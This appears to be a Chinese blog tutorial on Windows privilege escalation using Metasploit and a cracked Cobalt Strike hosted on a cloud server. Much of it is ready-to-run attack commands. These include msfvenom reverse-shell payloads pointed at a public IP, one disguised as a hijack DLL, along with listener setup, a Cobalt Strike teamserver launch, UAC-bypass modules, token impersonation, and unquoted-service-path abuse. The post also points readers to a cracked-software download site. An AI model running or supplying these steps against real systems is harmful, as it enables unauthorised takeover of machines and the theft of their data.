• 权限提升WIN篇(腾讯云,CS,MSF)


    溢出漏洞

    信息收集

    操作系统版本ver,systeminfo
    漏洞补丁信息systeminfo
    操作系统位数systeminfo
    杀软防护tasklist /svc
    网络netstat -ano,ipconfig
    当前权限whoami

    筛选EXP

    根据前面的信息收集中的系统版本,位数和补丁情况筛选出合适的EXP

    提权

    根据EXP,可以选择手工操作,基于CS的半自动操作,基于MSF的全自动操作

    如果提权中遇到无法执行命令的情况,可以尝试上传cmd.exe来执行

    手工

    可以根据GitHub上的工具和公开的利用脚本进行渗透

    MSF(搭建在云服务器)

    在云服务器搭建msf的目的,因为我们进行渗透测试的目标不可能只在靶机,我们需要一个公网IP来完成,此外,云服务器需要开启相应的端口,否则不能收到反弹shell

    我的服务器是腾讯云宝塔版本,还要关闭宝塔防火墙或者开启相应端口

    在/opt下搭建msf命令

    curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

    使用msf生成木马

    msfvenom -p windows/meterpreter/reverse_tcp lhost=43.139.79.52 lport=7777 -f exe -o test.exe

    开启msf监听模块,模块的设置应与生成的木马一致

    msfconsole

    use exploit/multi/handler

    set payload windows/meterpreter/reverse_tcp

    set lhost 0.0.0.0

    set lport 7777

    run

    通过拿到的shell上传并执行木马

     需要说的是,由于没有经过免杀处理,防火墙,杀毒软件等都会导致不能成功获得反弹shell

    获得shell后,下一步就是利用msf来进行提权操作

     background  将界面切换到后台,记住session id

    use post/multi/recon/local_exploit_suggester  使用msf的提权模块

    show options 

    set session 2

    run

     

     选择可用的漏洞模块,直接利用提权

    use exploit/windows/local/bypassuac_fodhelper

     show options 

    set session 2

    run

    CS

    我的云服务器默认是没有Java环境的,所以还要先搭建Java环境

    java环境搭建

    yum安装 openjdk11

    yum install -y java-11-openjdk
    

    安装位置默认为/usr/lib/jvm/,修改目录名

    mv -v java-11-openjdk-11.0.12.0.7-0.el8_4.x86_64 jdk11

    修改配置文件

    vim /etc/profile


    将光标移动到最后,在后面添加

    1. export JAVA_HOME=/usr/lib/jvm/jdk11
    2. export JRE_HOME=${JAVA_HOME}/jre
    3. export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar:$JRE_HOME/lib
    4. export PATH=$PATH:$JAVA_HOME/bin:$JRE_HOME/bin


    立即生效

    source /etc/profile


    检测是否安装成功

    java -version
    CS搭建
     

    这是我下载CS4.8破解版本的网站

    您正搜索 CS - 🔰雨苁ℒ🔰 (ddosi.org)

    如图,CS是一个多人协同的渗透工具,分为客户端和服务端,服务端可以有多个,多个攻击者连接在一个服务器上,共享攻击资源和目标信息,且拥有各种强大的功能 

    服务端搭建

    上传CS到云服务器,这里用使用宝塔面板上传的方式

     cd CobaltStrike4.8_www.ddosi.org/

    cd Server/

    chmod +x teamserver 

    ./teamserver 43.139.79.52 yc    ip为云主机IP,yc为连接密码 

     如图,CS服务端搭建成功

    客户端搭建

    运行cobaltstrike-client.cmd,连接远程服务端,搭建成功

    at提权(win2003)

    win2003中可以采用计划任务的方式进行提权,以普通用户的权限开启一个计划任务,system执行这个计划任务,就获取了system的权限

    at 17:00 /interactive cmd

    PsExec提权(win08,12,16)

    PsExec.exe -accepteula -s -i -d cmd

     ,

     MSF进程迁移注入(Win08,12,16)

    通过msf拿到权限后,可以尝试migrate进程迁移,将进程迁移到拥有高权限的用户,实现提权的目的,这种方式利用系统的特性,不用上传文件,不会被杀毒软件等察觉

    ps 查看进程

    migrate PID 迁移到目标进程

    令牌窃取 

    令牌就是系统的临时密钥,相当于账户名和密码,原来决定是否允许这次请求和判断是属于哪一个用户的,他允许你不提供密码或其他凭证的前提下访问网络和系统资源

    getuid    查看当前用户

    use incognito   使用令牌窃取模块

    list_tokens -u   列出可用的令牌

    impersonate_token 目标令牌   窃取目标令牌

    whoami  查看当前用户

    低权限用户可以借助烂土豆配合令牌窃取实现提权

     execute -cH -f ./potato.exe

    use incognito 

    list_tokens -u 

    impersonate_token

    这里实际是利用烂2土豆这个溢出漏洞 ,使我们可以利用低权限来进行令牌窃取

    msf直接提权 

    msf是一款强大的渗透测试工具,可以使用getsystem直接提权

    getsystem

     Bypass UAC

    UAC即用户账户控制,为了上传的exe和bat程序等可绕过此安全机制,所以需要学习

    UAC可以直接搜索msconfig>选择系统设置> 工具>更改UAC设置

     默认是这个选项,当我们打开一个程序的时候,就会有弹窗提示程序尝试更改计算机

    MSF的bypassUAC模块(win10以后不适用)

    use exploit/windows/local/bypassuac

    MSF的ask模块(需要目标点击)

    use exploit/windows/local/ask

    MSF绕过win10模块

    use exploit/windows/local/bypassuac_sluihijack  

    UACMe 

    UACMe是GitHub绕过UAC的项目 

    hfiref0x/UACME: Defeating Windows User Account Control (github.com)

    DLL劫持提权

    Windows程序启动需要dll,如果dll不存在,Windows就会按照既定路线寻找,可以在他寻找的位置放恶意dll来提权

    1、应用程序加载的目录
    2、C:Windows/System32
    3、C:Windows/System
    4、Windows
    5、当前工作目录Current Working Directory,CWD
    6、在PATH环境变量的目录(先系统后用户)

    可以借助火绒剑来分析进程,并使用其他程序验证是否可以dll劫持

    假如上面的文件可以被dll劫持,就可以把原来的dll文件删掉,使用msf生成一个和他名字相同的dll后门

     msfvenom -p windows/meterpreter/reverse_tcp lhost=43.139.79.52 lport=7777 -f dll -o VCRUNTIME140.dll

     不带引号服务路径提权

    在Windows系统中,带不带引号是很重要的,如下面这个程序

    C:\Program Files\Dolby.exe

    “C:\Program Files\Dolby”

    如果不带引号,Files\Dolby被当成一个参数,我们前面说了程序文件寻找路径,那么只要我们在程序真正要寻找路径前放上我们的恶意程序,攻击目的就达成了

    C:\Program.exe

    当执行 C:\Program Files\Dolby.exe的时候,实际执行的其实是C:\Program.exe

    检测工具:https://github.com/PowerShellMafia/PowerSploit
    https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk

    攻击流程:检测路径>制作文件并上传>更改路径指向>等待目标路径调用

  • 相关阅读:
    【分圆多项式及理想、理想格】
    运维 | 如何查看端口或程序占用情况 | linux
    gazebo各种插件
    多态语法详解
    C++的string容器->基本概念、构造函数、赋值操作、字符串拼接、查找和替换、字符串比较、字符存取、插入和删除、子串
    汽车后视镜反射率检测仪厂家
    VsCode 关于EsLint校验关闭严格模式
    Go学习笔记 -- 并发原理
    【深度学习】——深度学习中的梯度计算
    前端设计模式之【单例模式】
  • 原文地址:https://blog.csdn.net/weixin_56537388/article/details/132925314